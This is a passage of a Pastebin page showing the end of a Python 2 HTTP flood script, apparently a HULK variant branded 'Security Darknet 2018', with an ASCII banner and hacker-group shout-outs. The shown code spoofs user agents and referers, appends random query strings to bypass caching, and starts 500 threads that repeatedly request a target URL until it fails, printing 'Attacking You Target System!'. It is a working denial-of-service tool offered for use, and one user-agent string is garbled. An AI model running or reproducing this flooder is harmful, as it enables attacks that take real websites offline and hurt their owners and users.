  793.     headers_useragents.append('free-downloads.net download-link validator /0.1')
  794.     headers_useragents.append('FreeFind.com-SiteSearchEngine/1.0 (http://freefind.com; spiderinfo@freefind.com)')
  795.     headers_useragents.append('Frelicbot/1.0 +http://www.frelic.com/')
  796.     headers_useragents.append('FreshDownload/x.xx')
  797.     headers_useragents.append('FreshNotes crawler< report problems to crawler-at-freshnotes-dot-com')
  798.     headers_useragents.append('FSurf15a 01')
  799.     headers_useragents.append('FTB-Bot http://www.findthebest.co.uk/')
  800.     headers_useragents.append('Full Web Bot 0416B')
  801.     headers_useragents.append('Full Web Bot 0516B')
  802.     headers_useragents.append('Full Web Bot 2816B')
  803.     headers_useragents.append('FuseBulb.Com')
  804.     headers_useragents.append('FyberSpider (+http://www.fybersearch.com/fyberspider.php)')
  805.     headers_useragents.append('unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com  headers_useragents.append(')
  806.     return(headers_useragents)
  807.  
  808. # generates a referer array
  809. def referer_list():
  810.     global headers_referers
  811.     headers_referers.append('http://www.google.com/?q=')
  812.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  813.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  814.     headers_referers.append('http://' + host + '/')
  815.     return(headers_referers)
  816.    
  817. #builds random ascii string
  818. def buildblock(size):
  819.     out_str = ''
  820.     for i in range(0, size):
  821.         a = random.randint(65, 90)
  822.         out_str += chr(a)
  823.     return(out_str)
  824.  
  825. def usage():
  826.     print 'DeepFuck =Url='
  827.     print "\a"
  828. print \
  829. """    
  830.  000        000         00000000000     000           000  000000000
  831.  000        000        0000000000000     000         000   000000000
  832.  000        000       000         000     000       000    000
  833.  000        000      000           000     000     000     000000000
  834.  000        000      000           000      000   000      000000000
  835.  000        000       000         000        0000000       000
  836.  000        00000000   0000000000000          00000        000000000
  837.  000        00000000    00000000000            000         000000000
  838.  
  839.    000000000 000    000     00000000000      000   000  000       000
  840.   0000000000 000    000    0000000000000     000  000    000     000
  841.  000         000    000   000         000    000 000      000   000
  842.  000         0000000000  000           000   000000        0000000
  843.  000         0000000000  000           000   000000         00000
  844.  000         000    000   000         000    000 000         000
  845.   000000000  000    000    0000000000000     000  000        000
  846.    00000000  000    000     00000000000      000   000       000
  847. """
  848. print '|----------------------------------------------------------------------|'
  849. print '|Copyright Security Darknet 2018                                       |'
  850. print '|----------------------------------------------------------------------|'
  851.    
  852. #http request
  853. def httpcall(url):
  854.     useragent_list()
  855.     referer_list()
  856.     code=0
  857.     if url.count("?")>0:
  858.         param_joiner="&"
  859.     else:
  860.         param_joiner="?"
  861.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  862.     request.add_header('User-Agent', random.choice(headers_useragents))
  863.     request.add_header('Cache-Control', 'no-cache')
  864.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  865.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  866.     request.add_header('Keep-Alive', random.randint(110,120))
  867.     request.add_header('Connection', 'keep-alive')
  868.     request.add_header('Host',host)
  869.     try:
  870.             urllib2.urlopen(request)
  871.     except urllib2.HTTPError, e:
  872.             #print e.code
  873.             set_flag(1)
  874.             print '[+] ~> Attacking You Target System! <~ [+]'
  875.             code=500
  876.     except urllib2.URLError, e:
  877.             #print e.reason
  878.             sys.exit()
  879.     else:
  880.             inc_counter()
  881.             urllib2.urlopen(request)
  882.     return(code)       
  883.  
  884.    
  885. #http caller thread
  886. class HTTPThread(threading.Thread):
  887.     def run(self):
  888.         try:
  889.             while flag<2:
  890.                 code=httpcall(url)
  891.                 if (code==500) & (safe==1):
  892.                     set_flag(2)
  893.         except Exception, ex:
  894.             pass
  895.  
  896. # monitors http threads and counts requests
  897. class MonitorThread(threading.Thread):
  898.     def run(self):
  899.         previous=request_counter
  900.         while flag==0:
  901.             if (previous+100<request_counter) & (previous<>request_counter):
  902.                 print "%d (= Attack Time Out =}" % (request_counter)
  903.                 previous=request_counter
  904.         if flag==2:
  905.             print "\n -fall and not get up"
  906.  
  907. #execute
  908. if len(sys.argv) < 2:
  909.     usage()
  910.     sys.exit()
  911. else:
  912.     if sys.argv[1]=="help":
  913.         usage()
  914.         sys.exit()
  915.     else:
  916.         print "|Thanks To : Anon Cyber Team - Anak Bawang Cyber - Galaxy Cyber Team   |"
  917.         print '|----------------------------------------------------------------------|'
  918.         if len(sys.argv)== 3:
  919.             if sys.argv[2]=="safe":
  920.                 set_safe()
  921.         url = sys.argv[1]
  922.         if url.count("/")==2:
  923.             url = url + "/"
  924.         m = re.search('http\://([^/]*)/?.*', url)
  925.         host = m.group(1)
  926.         for i in range(500):
  927.             t = HTTPThread()
  928.             t.start()
  929.         t = MonitorThread()
  930.         t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!